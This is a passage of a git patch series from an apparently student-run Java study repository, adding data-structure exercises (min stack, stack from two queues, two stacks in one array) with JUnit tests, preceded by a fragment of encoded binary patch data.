zS{Y(NhWABWM>@gnd-}s-Zy~yg$zUI?YfQ0R1tOjwTNw~)rFx=y2O2vpjv#l&XXb;7
z>)e<AA~*&<_)R8*z40=;tU+4kh@SZ1gz_VI(|oyJvez%x6y2+L*RqUa)RRn07<=zH
zwX1#)L6UN(JfRbLvK&;=(9%EFmf9e@ys&liuT<{cp^42PbO2xx@8_?ycfI^YU{RF6
z8V0QQ($vw(($1E{+0B`EjJIrYMgFOr$}alxi4z-(e9;(d_enP!$MBGPmm+(2momb?
z)NLPVPQnNV04?kZQb0h&2jBxxVFwLNzrq)Bn+$dyRt6b%_73dz=cXv7F3v8eB+aQP
zt|TWdrKZlID1F`YtIBQ7WNE1La3U%I@C6qDxDEXL-3(#f-zq3eNdCVt(9gEqst{~%
zWG$co0RFHvlv|trZlY-aRI#(OvNZkgc+&4eV@$0lld!_R<*+E#?LOe|W&w*?{cg^`
zgq~VDIsaKKih;Dm4jBMAgV}I<mHuww`2P@-RaXc78=2<<A=$7@eQVe?ruth0)_Vfm
z$NXl~t;{c5m7hmA54%(`$pnU3uuL5}ZUBJt7d1YLf2iG-EEackG<5&7WnF|??S2RV
zKt0SlnqRc&dH<*-<z{SZ?|eH8jjauxoPM_L_BKBGskHX5xAEw~ANBqxEcm<7&o!Fq
zele`@$sdLOQJ4F7#h+oGUnfSP<bP27^EiK|X?_(O1OHL%XBy~t%YKGAsDBx2n$>?0
z`=6w%-{pSJ=A!yV&erCSa{qR=-QLlkBfh_mw88z4YOs7TTh9O8I{zzg?Drx3yv_gB
zr>wsE$A|tETK-+-XV3bp>1I)XQu(*n;no@d>_~5&@!#!X@-MC#q<{?bV*mgi>=1?d
zjzrko004ZQ|9K(7*ZJ-2_&>hR;fxlX(SkEta7GKxXu%mRIHLt;wBU>uoY8_aT5v`S
z&S=3IEjXhEXSCpq7M#(7Gg@#)3(jc487(-Y1!uJ2j24{Hf-_ohMhnhp!5J+$qXlQQ
z;EWcW(SkEta7GKxXu%mRIHLt;wBU>uoYA_)wBU>uoY8_aT5v`S&S*KhIB|lV>})x2
zc`rDl1-K=b;EWak@b4L||Bu+Kzo6IKSrG+iF#&KE^RItq`<)s5KgVMJZ`b*M0ZM@@
AyZ`_I


From 87527dd1b4f743429937683dc3583b11eee0f41a Mon Sep 17 00:00:00 2001
From: '1299310140' <'13437282785@163.com'>
Date: Mon, 8 May 2017 15:56:27 +0800
Subject: [PATCH 238/262] QuickMinStack&&StackWithTwoQueues&&TwoStackInOneArray

---
 .../com/coding/basic/stack/QuickMinStack.java |  68 ++++++++++++
 .../coding/basic/stack/QuickMinStackTest.java |  53 ++++++++++
 .../basic/stack/StackWithTwoQueues.java       |  54 ++++++++++
 .../basic/stack/StackWithTwoQueuesTest.java   |  52 +++++++++
 .../basic/stack/TwoStackInOneArray.java       | 100 ++++++++++++++++++
 .../basic/stack/TwoStackInOneArrayTest.java   |  65 ++++++++++++
 6 files changed, 392 insertions(+)
 create mode 100644 group04/1299310140/src/com/coding/basic/stack/QuickMinStack.java
 create mode 100644 group04/1299310140/src/com/coding/basic/stack/QuickMinStackTest.java
 create mode 100644 group04/1299310140/src/com/coding/basic/stack/StackWithTwoQueues.java
 create mode 100644 group04/1299310140/src/com/coding/basic/stack/StackWithTwoQueuesTest.java
 create mode 100644 group04/1299310140/src/com/coding/basic/stack/TwoStackInOneArray.java
 create mode 100644 group04/1299310140/src/com/coding/basic/stack/TwoStackInOneArrayTest.java

diff --git a/group04/1299310140/src/com/coding/basic/stack/QuickMinStack.java b/group04/1299310140/src/com/coding/basic/stack/QuickMinStack.java
new file mode 100644
index 0000000000..324ea1ba9a
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/stack/QuickMinStack.java
@@ -0,0 +1,68 @@
+package com.coding.basic.stack;
+
+import java.util.ArrayList;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回该数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+	
+	private ArrayList<int[]> elementData = new ArrayList<int[]>();
+	
+	public Boolean isEmpty(){
+		return elementData.size() == 0;
+	}
+	
+	public int size(){
+		return elementData.size();
+	}
+	
+	public void push(int data){
+		int[] temp = new int[3];//data min max
+		if(isEmpty()){
+			temp[0] = data;
+			temp[1] = data;
+			temp[2] = data;
+			elementData.add(temp);
+			return;
+		}
+		
+		int min = this.elementData.get(size()-1)[1];
+		int max = this.elementData.get(size()-1)[2];
+		
+		temp[0] = data;
+		
+		if(data < min){
+			temp[1] = data;
+		}else{
+			temp[1] = min;
+		}
+		
+		if(data > max){
+			temp[2] = data;
+		}else{
+			temp[2] = max;
+		}
+		
+		elementData.add(temp);
+	}
+	
+	public int pop(){
+		return this.elementData.remove(size()-1)[0];
+	}
+	
+	public int peek(){
+		return this.elementData.get(size()-1)[0];
+	}
+	
+	public int findMin(){
+		return this.elementData.get(size()-1)[1];
+	}
+	
+	public int findMax(){
+		return this.elementData.get(size()-1)[2];
+	}
+}
diff --git a/group04/1299310140/src/com/coding/basic/stack/QuickMinStackTest.java b/group04/1299310140/src/com/coding/basic/stack/QuickMinStackTest.java
new file mode 100644
index 0000000000..09be7c9496
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/stack/QuickMinStackTest.java
@@ -0,0 +1,53 @@
+package com.coding.basic.stack;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class QuickMinStackTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		QuickMinStack stack = new QuickMinStack();
+		Assert.assertTrue(stack.isEmpty());
+		Assert.assertEquals(0,stack.size());
+		
+		stack.push(3);
+		Assert.assertFalse(stack.isEmpty());
+		Assert.assertEquals(1,stack.size());
+		Assert.assertEquals(3,stack.peek());
+		Assert.assertEquals(3,stack.findMin());
+		Assert.assertEquals(3,stack.findMax());
+		Assert.assertEquals(3,stack.pop());
+		Assert.assertTrue(stack.isEmpty());
+		Assert.assertEquals(0,stack.size());
+		
+		stack.push(5);
+		stack.push(6);
+		stack.push(3);
+		stack.push(7);
+		stack.push(1);
+		Assert.assertEquals(1,stack.findMin());
+		Assert.assertEquals(7,stack.findMax());
+		
+		stack.pop();
+		Assert.assertEquals(3,stack.findMin());
+		Assert.assertEquals(7,stack.findMax());
+		
+		stack.pop();
+		Assert.assertEquals(3,stack.findMin());
+		Assert.assertEquals(6,stack.findMax());
+	}
+
+}
diff --git a/group04/1299310140/src/com/coding/basic/stack/StackWithTwoQueues.java b/group04/1299310140/src/com/coding/basic/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..c176be9b95
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/stack/StackWithTwoQueues.java
@@ -0,0 +1,54 @@
+package com.coding.basic.stack;
+
+import com.coding.basic.Queue;
+
+public class StackWithTwoQueues {
+	
+	private Queue queue1;
+	private Queue queue2;
+	
+    public StackWithTwoQueues() {
+		queue1 = new Queue();
+		queue2 = new Queue();
+	}
+
+    public Boolean isEmpty(){
+    	return queue1.isEmpty() && queue2.isEmpty();
+    }
+    
+    public int size(){
+    	return queue1.size() + queue2.size();
+    }
+    
+	public void push(int data) {       
+    	queue1.enQueue(data);
+    }
+
+    public int pop() {
+    	if(isEmpty()){
+    		throw new RuntimeException("The Stack is empty!!!");
+    	}
+    	
+    	while(!queue1.isEmpty()){
+    		Object temp = queue1.deQueue();
+    		if(queue1.isEmpty()){
+    			return (int)temp;
+    		}else{
+    			queue2.enQueue(temp);
+    		}
+    	}
+    	
+    	//queue1为空,queue2不为空
+    	while(!queue2.isEmpty()){
+    		Object temp = queue2.deQueue();
+    		if(queue2.isEmpty()){
+    			return (int)temp;
+    		}else{
+    			queue1.enQueue(temp);
+    		}
+    	}
+    	
+        return -1;//永远不会执行
+    }
+    
+}
diff --git a/group04/1299310140/src/com/coding/basic/stack/StackWithTwoQueuesTest.java b/group04/1299310140/src/com/coding/basic/stack/StackWithTwoQueuesTest.java
new file mode 100644
index 0000000000..013ceaa10e
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/stack/StackWithTwoQueuesTest.java
@@ -0,0 +1,52 @@
+package com.coding.basic.stack;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class StackWithTwoQueuesTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		StackWithTwoQueues stack = new StackWithTwoQueues();
+		Assert.assertTrue(stack.isEmpty());
+		Assert.assertEquals(0,stack.size());
+		
+		stack.push(4);
+		Assert.assertFalse(stack.isEmpty());
+		Assert.assertEquals(1,stack.size());
+		
+		Assert.assertEquals(4,stack.pop());
+		Assert.assertTrue(stack.isEmpty());
+		
+		stack.push(2);
+		stack.push(3);
+		stack.push(5);
+		Assert.assertFalse(stack.isEmpty());
+		Assert.assertEquals(3,stack.size());
+		
+		Assert.assertEquals(5,stack.pop());
+		
+		stack.push(6);
+		stack.push(7);
+		stack.push(8);
+		Assert.assertEquals(8,stack.pop());
+		Assert.assertEquals(7,stack.pop());
+		Assert.assertEquals(6,stack.pop());
+		Assert.assertEquals(3,stack.pop());
+		Assert.assertEquals(2,stack.pop());
+		Assert.assertTrue(stack.isEmpty());
+	}
+
+}
diff --git a/group04/1299310140/src/com/coding/basic/stack/TwoStackInOneArray.java b/group04/1299310140/src/com/coding/basic/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..311233daaa
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/stack/TwoStackInOneArray.java
@@ -0,0 +1,100 @@
+package com.coding.basic.stack;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+	
+	private Object[] data = new Object[10];
+	private int pos1 = 0;//指向栈1的下一个空位
+	private int pos2 = data.length - 1;//指向栈2的下一个空位
+	
+	public Boolean isEmpty1(){
+		return pos1 == 0;
+	}
+	
+	public Boolean isEmpty2(){
+		return pos2 == data.length - 1;
+	}
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		this.data[pos1] = o;
+		pos1++;
+		if(pos1 == pos2){//扩容
+			grow();
+		}
+	}
+	
+	private void grow(){//容量增加一倍
+		Object[] target = new Object[this.data.length * 2];
+		System.arraycopy(this.data, 0, target, 0, pos1);
+		System.arraycopy(this.data, pos2 + 1, target, pos2 + 1 + data.length, data.length - pos2 -1);
+		pos2 = pos2 + data.length;
+		data = target;
+	}
+	
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		if(this.isEmpty1()){
+			throw new RuntimeException("The stack1 is empty!!!");
+		}
+		
+		pos1--;
+		Object result = this.data[pos1];
+		this.data[pos1] = null;
+		return result;
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	public Object peek1(){
+		return this.data[pos1-1];
+	}
+	
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		this.data[pos2] = o;
+		pos2--;
+		if(pos1 == pos2){//扩容
+			grow();
+		}
+	}
+	
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		if(isEmpty2()){
+			throw new RuntimeException("The stack2 is empty!!!");
+		}
+		
+		pos2++;
+		Object result = this.data[pos2];
+		this.data[pos2] = null;
+		return result;
+	}
+	
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	public Object peek2(){
+		return this.data[pos2 + 1];
+	}
+	
+}
diff --git a/group04/1299310140/src/com/coding/basic/stack/TwoStackInOneArrayTest.java b/group04/1299310140/src/com/coding/basic/stack/TwoStackInOneArrayTest.java
new file mode 100644
index 0000000000..0fc822b4c7
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/stack/TwoStackInOneArrayTest.java
@@ -0,0 +1,65 @@
+package com.coding.basic.stack;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TwoStackInOneArrayTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		TwoStackInOneArray twoStack = new TwoStackInOneArray();
+		Assert.assertTrue(twoStack.isEmpty1());
+		Assert.assertTrue(twoStack.isEmpty2());
+		
+		twoStack.push1(1);
+		twoStack.push1(2);
+		twoStack.push1(3);
+		twoStack.push1(4);
+		twoStack.push1(5);
+		
+		twoStack.push2(6);
+		twoStack.push2(7);
+		twoStack.push2(8);
+		twoStack.push2(9);
+		twoStack.push2(10);
+		twoStack.push2(11);
+		
+		twoStack.push1(12);
+		twoStack.push1(13);
+		twoStack.push1(14);
+		twoStack.push1(15);
+		
+		Assert.assertEquals(15,twoStack.pop1());
+		Assert.assertEquals(14,twoStack.pop1());
+		Assert.assertEquals(13,twoStack.pop1());
+		Assert.assertEquals(12,twoStack.pop1());
+		Assert.assertEquals(5,twoStack.pop1());
+		Assert.assertEquals(4,twoStack.pop1());
+		Assert.assertEquals(3,twoStack.pop1());
+		Assert.assertEquals(2,twoStack.pop1());
+		Assert.assertEquals(1,twoStack.pop1());
+		
+		Assert.assertEquals(11,twoStack.pop2());
+		Assert.assertEquals(10,twoStack.pop2());
+		Assert.assertEquals(9,twoStack.pop2());
+		Assert.assertEquals(8,twoStack.pop2());
+		Assert.assertEquals(7,twoStack.pop2());
+		Assert.assertEquals(6,twoStack.pop2());
+		
+		Assert.assertTrue(twoStack.isEmpty1());
+		Assert.assertTrue(twoStack.isEmpty2());
+	}
+
+}

From 8d4b447eeb9917c538b9e28665e85d20d6f952bc Mon Sep 17 00:00:00 2001
From: myThinkPad <1252327158@qq.com>
Date: Mon, 8 May 2017 16:58:21 +0800
Subject: [PATCH 239/262] update from idea

---
 .../src/com/coderising/jvm/test/ClassFileloaderTest.java      | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 2ac4100aef..dfb56a30bd 100644
--- a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -53,9 +53,8 @@ public void testClassPath(){
 		loader.addClassPath(path2);
 		
 		String clzPath = loader.getClassPath();
-		
+
 		Assert.assertEquals(path1+";"+path2,clzPath);
-		
 	}
 	
 	@Test
@@ -70,7 +69,6 @@ public void testClassFileLength() {
 		
 		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
 		Assert.assertEquals(1056, byteCodes.length);
-		
 	}
 	
 	

From fb72152f0361edab3ba1d77420c4a8fa7a4bd001 Mon Sep 17 00:00:00 2001
From: GordenChow <513274874@qq.com>
Date: Mon, 8 May 2017 21:15:04 +0800
Subject: [PATCH 240/262] =?UTF-8?q?Jvm=E7=AC=AC=E5=85=AD=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=E6=8F=90=E4=BA=A4?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/coding/basic/stack/QuickMinStack.java | 42 ++++++++++++++
 .../basic/stack/StackWithTwoQueues.java       | 45 +++++++++++++++
 .../basic/stack/TwoStackInOneArray.java       | 57 +++++++++++++++++++
 3 files changed, 144 insertions(+)
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/QuickMinStack.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/StackWithTwoQueues.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/TwoStackInOneArray.java

diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/QuickMinStack.java b/group27/513274874/data-structure/src/com/coding/basic/stack/QuickMinStack.java
new file mode 100644
index 0000000000..830c347ad5
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/QuickMinStack.java
@@ -0,0 +1,42 @@
+package com.coding.basic.stack;
+
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.List;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+
+	//存储栈中元素，升序排列，minAscList.get(0)即能取出
+	private List<Integer> minAscList = new ArrayList<>();
+
+	private Stack stack;
+
+	public void push(int data){
+		stack.push(data);
+		minAscList.add(data);
+		minAscList.sort(new Comparator<Integer>() {
+			@Override
+			public int compare(Integer o1, Integer o2) {
+				return o1.compareTo(o2);
+			}
+		});
+	}
+	public int pop(){
+
+		int val = (Integer)stack.pop();
+		minAscList.remove(new Integer(val));
+
+		return val;
+	}
+	public int findMin(){
+		return minAscList.get(0);
+	}
+
+
+}
\ No newline at end of file
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/StackWithTwoQueues.java b/group27/513274874/data-structure/src/com/coding/basic/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..fef1b31bbd
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/StackWithTwoQueues.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack;
+
+
+import com.coding.basic.queue.Queue;
+
+public class StackWithTwoQueues {
+
+    Queue<Integer> q1 = new Queue<>();
+    Queue<Integer> q2 = new Queue<>();
+
+
+    public void push(int data) {
+        if (q1.isEmpty()) {
+            q2.enQueue(data);
+        } else {
+            q1.enQueue(data);
+        }
+    }
+
+    public int pop() {
+        if (!q1.isEmpty()) {
+            while (!q1.isEmpty()) {
+                int val = q1.deQueue();
+                if (q1.isEmpty()) {
+                    q2.enQueue(val);
+                } else {
+                    return val;
+                }
+            }
+        } else {
+            while (!q2.isEmpty()) {
+                int val = q2.deQueue();
+                if (!q2.isEmpty()) {
+                    q1.enQueue(val);
+                } else {
+                    return val;
+                }
+            }
+
+        }
+        return 0;
+    }
+
+
+}
\ No newline at end of file
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/TwoStackInOneArray.java b/group27/513274874/data-structure/src/com/coding/basic/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..4d311762f6
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/TwoStackInOneArray.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+	Object[] data = new Object[10];
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		
+	}
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		return null;
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek1(){
+		return null;
+	}
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		
+	}
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		return null;
+	}
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek2(){
+		return null;
+	}
+	
+}
\ No newline at end of file

From 31269d1398e5dec21232ad1a99e04c938117c6fb Mon Sep 17 00:00:00 2001
From: zhanglei <383117348@qq.com>
Date: Tue, 9 May 2017 08:38:39 +0800
Subject: [PATCH 241/262] =?UTF-8?q?=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
 =?UTF-8?q?=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/coding/basic/linklist/LinkedList.java | 60 ++++++++-------
 .../com/coding/basic/stack/QuickMinStack.java | 28 ++++++-
 .../basic/stack/StackWithTwoQueues.java       | 30 +++++++-
 .../basic/stack/TwoStackInOneArray.java       | 74 +++++++++++++++++--
 4 files changed, 150 insertions(+), 42 deletions(-)

diff --git a/group27/383117348/data-structure/com/coding/basic/linklist/LinkedList.java b/group27/383117348/data-structure/com/coding/basic/linklist/LinkedList.java
index 7a36a83263..c01589f572 100644
--- a/group27/383117348/data-structure/com/coding/basic/linklist/LinkedList.java
+++ b/group27/383117348/data-structure/com/coding/basic/linklist/LinkedList.java
@@ -1,6 +1,5 @@
 package com.coding.basic.linklist;
 
-import java.util.Arrays;
 import java.util.NoSuchElementException;
 
 import org.junit.Test;
@@ -123,43 +122,42 @@ public void addLast(Object o) {
 	 * 
 	 * @return
 	 */
-	public Object removeFirst() {
-		Node node = first;
-		if (node == null)
-			throw new NoSuchElementException();
-		else {
-			Node next = node.next;
-			if (next == null)
-				first = null;
-			else {
-				first = next;
-				first.prev = null;
-			}
-		}
-		size--;
-		return node.data;
+	public Object removeFirst(){
+		final Node f = first;
+	    if (f == null)
+	        throw new NoSuchElementException();
+	    final Object element = f.data;
+        final Node next = f.next;
+        f.data = null;
+        f.next = null; // help GC
+        first = next;
+        if (next == null)
+            last = null;
+        else
+            next.prev = null;
+        size--;
+        return element;
 	}
-
 	/**
 	 * 移除链表最后一个元素
 	 * 
 	 * @return
 	 */
 	public Object removeLast() {
-		Node node = last;
-		if (last == null)
-			throw new NoSuchElementException();
-		else {
-			Node prev = node.prev;
-			if (prev == null)
-				last = null;
-			else {
-				last = prev;
-				last.next = null;
-			}
-		}
-		size--;
-		return node.data;
+		final Node l = last;
+        if (l == null)
+            throw new NoSuchElementException();
+		 final Object element = l.data;
+	        final Node prev = l.prev;
+	        l.data = null;
+	        l.prev = null; 
+	        last = prev;
+	        if (prev == null)
+	            first = null;
+	        else
+	            prev.next = null;
+	        size--;
+	        return element;
 	}
 
 	/**
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/QuickMinStack.java b/group27/383117348/data-structure/com/coding/basic/stack/QuickMinStack.java
index 4f257ab9fb..13eb6a2cbf 100644
--- a/group27/383117348/data-structure/com/coding/basic/stack/QuickMinStack.java
+++ b/group27/383117348/data-structure/com/coding/basic/stack/QuickMinStack.java
@@ -3,17 +3,41 @@
 /**
  * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
  * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * 
  * @author liuxin
  *
  */
+import java.util.Stack;
+
 public class QuickMinStack {
+	
+	private Stack<Integer> normalStack = new Stack<Integer>();
+	private Stack<Integer> minNumStack = new Stack<Integer>();
+	
 	public void push(int data){
 		
+		normalStack.push(data);
+		
+		if(minNumStack.isEmpty()){
+			minNumStack.push(data);
+		} else{
+			if(minNumStack.peek() >= data) {
+				minNumStack.push(data);
+	        }
+		}
+		
 	}
 	public int pop(){
-		return -1;
+		if(normalStack.isEmpty()){
+			throw new RuntimeException("the stack is empty");
+		}
+		int value = normalStack.pop();
+		if(value == minNumStack.peek()){
+			minNumStack.pop();
+		}
+		return value;
 	}
 	public int findMin(){
-		return -1;
+		return minNumStack.peek();
 	}
 }
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/StackWithTwoQueues.java b/group27/383117348/data-structure/com/coding/basic/stack/StackWithTwoQueues.java
index 6f1d5bd04d..a8c5e37387 100644
--- a/group27/383117348/data-structure/com/coding/basic/stack/StackWithTwoQueues.java
+++ b/group27/383117348/data-structure/com/coding/basic/stack/StackWithTwoQueues.java
@@ -1,15 +1,39 @@
 package com.coding.basic.stack;
 
+import com.coding.basic.queue.Queue;
 
 public class StackWithTwoQueues {
 	
-
+	/*private QueueWithTwoStacks<Integer> first;
+	private QueueWithTwoStacks<Integer> end;*/
+	private Queue first;
+	private Queue end;
+	
+	public StackWithTwoQueues(){
+		first = new Queue();
+		end = new Queue();
+	}
+	
     public void push(int data) {       
-
+    	first.enQueue(data);
     }
 
     public int pop() {
-       return -1;
+    	int result = 0;
+    	if(first.isEmpty()){
+    		throw new NullPointerException("空栈!");
+    	}
+    	while(!first.isEmpty()){
+    		if(first.size()==1){
+    			result = (Integer)first.deQueue();
+    		}else{
+    			end.enQueue(first.deQueue());
+    		}
+    	}
+    	while(!end.isEmpty()){
+    		first.enQueue(end.deQueue());
+    	}
+        return result;
     }
 
     
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/TwoStackInOneArray.java b/group27/383117348/data-structure/com/coding/basic/stack/TwoStackInOneArray.java
index 53a902ba17..33b65f82de 100644
--- a/group27/383117348/data-structure/com/coding/basic/stack/TwoStackInOneArray.java
+++ b/group27/383117348/data-structure/com/coding/basic/stack/TwoStackInOneArray.java
@@ -1,5 +1,7 @@
 package com.coding.basic.stack;
 
+import java.util.NoSuchElementException;
+
 /**
  * 用一个数组实现两个栈
  * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
@@ -9,19 +11,31 @@
 public class TwoStackInOneArray {
 	Object[] data = new Object[10];
 	
+	private static final int GROW_UP_SIZE = 100;
+	private int index1 =0;
+	private int index2 = data.length-1;
 	/**
 	 * 向第一个栈中压入元素
 	 * @param o
 	 */
 	public void push1(Object o){
-		
+		if(o!=null){
+			checkIsMeeting(index1);
+			data[index1++] = o;
+		}else{
+			throw new NullPointerException();
+		}
 	}
 	/**
 	 * 从第一个栈中弹出元素
 	 * @return
 	 */
 	public Object pop1(){
-		return null;
+		if(index1==0)
+			throw new NoSuchElementException();
+		Object first = data[index1-1];
+		data[index1--] = null;
+		return first;
 	}
 	
 	/**
@@ -30,20 +44,31 @@ public Object pop1(){
 	 */
 	
 	public Object peek1(){
-		return null;
+		if(index1==0)
+			throw new NoSuchElementException();
+		return data[index1-1];
 	}
 	/*
 	 * 向第二个栈压入元素
 	 */
 	public void push2(Object o){
-		
+		if(o!=null){
+			checkIsMeeting(index2);
+			data[index2--] = o;
+		}else{
+			throw new NoSuchElementException();
+		}
 	}
 	/**
 	 * 从第二个栈弹出元素
 	 * @return
 	 */
 	public Object pop2(){
-		return null;
+		if(index2==data.length-1)
+			throw new NoSuchElementException();
+		Object last = data[index2+1];
+		data[index2++] = null;
+		return last;
 	}
 	/**
 	 * 获取第二个栈的栈顶元素
@@ -51,7 +76,44 @@ public Object pop2(){
 	 */
 	
 	public Object peek2(){
-		return null;
+		if(index2==data.length-1)
+			throw new NoSuchElementException();
+		return data[index2+1];
+	}
+	
+	public int getSize(){
+		System.out.println(index1);
+		System.out.println(index2);
+		return (index1-0)+(data.length-1-index2);
+	}
+	
+	/**
+	 * 检查是否碰头
+	 */
+	private void checkIsMeeting(int index){
+		if(data[index]!=null){
+			growUp();
+		}
+	}
+	
+	/**
+	 * 检查数组长度是否越界,越界就自动增长100
+	 */
+	private void growUp() {
+		Object[] elementGrow = new Object[data.length + GROW_UP_SIZE];
+		int start = 0;
+		int end = elementGrow.length-1;
+		if(index1!=0)
+		while(data[index1-1]!=null){
+			elementGrow[start++] = pop1();
+		}
+		if(index2!=data.length-1)
+		while(data[index2+1]!=null){
+			elementGrow[end--] = pop2();
+		}
+		data = elementGrow;
+		index1 = start;
+		index2 = end;
 	}
 	
 }

From 309244b777c0070925066c39f0c1a356bf5b222e Mon Sep 17 00:00:00 2001
From: zhanglei <383117348@qq.com>
Date: Tue, 9 May 2017 08:39:16 +0800
Subject: [PATCH 242/262] =?UTF-8?q?=E5=8D=95=E5=85=83=E6=B5=8B=E8=AF=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../stack/test/StackWithTwoQueuesTest.java    | 24 +++++++++++++
 .../stack/test/TwoStackInOneArrayTest.java    | 35 +++++++++++++++++++
 2 files changed, 59 insertions(+)
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/test/StackWithTwoQueuesTest.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/test/TwoStackInOneArrayTest.java

diff --git a/group27/383117348/data-structure/com/coding/basic/stack/test/StackWithTwoQueuesTest.java b/group27/383117348/data-structure/com/coding/basic/stack/test/StackWithTwoQueuesTest.java
new file mode 100644
index 0000000000..eb09709f21
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/test/StackWithTwoQueuesTest.java
@@ -0,0 +1,24 @@
+package com.coding.basic.stack.test;
+
+import java.util.LinkedList;
+
+import org.junit.Test;
+
+import com.coding.basic.stack.StackWithTwoQueues;
+
+import junit.framework.Assert;
+
+public class StackWithTwoQueuesTest {
+	
+	@Test
+	public void testTwoQueuesStack(){
+		StackWithTwoQueues swq = new StackWithTwoQueues();
+		swq.push(3);
+		swq.push(7);
+		swq.push(10);
+		LinkedList list = null;
+		Assert.assertEquals(10, swq.pop());
+		Assert.assertEquals(7, swq.pop());
+		Assert.assertEquals(3, swq.pop());
+	}
+}
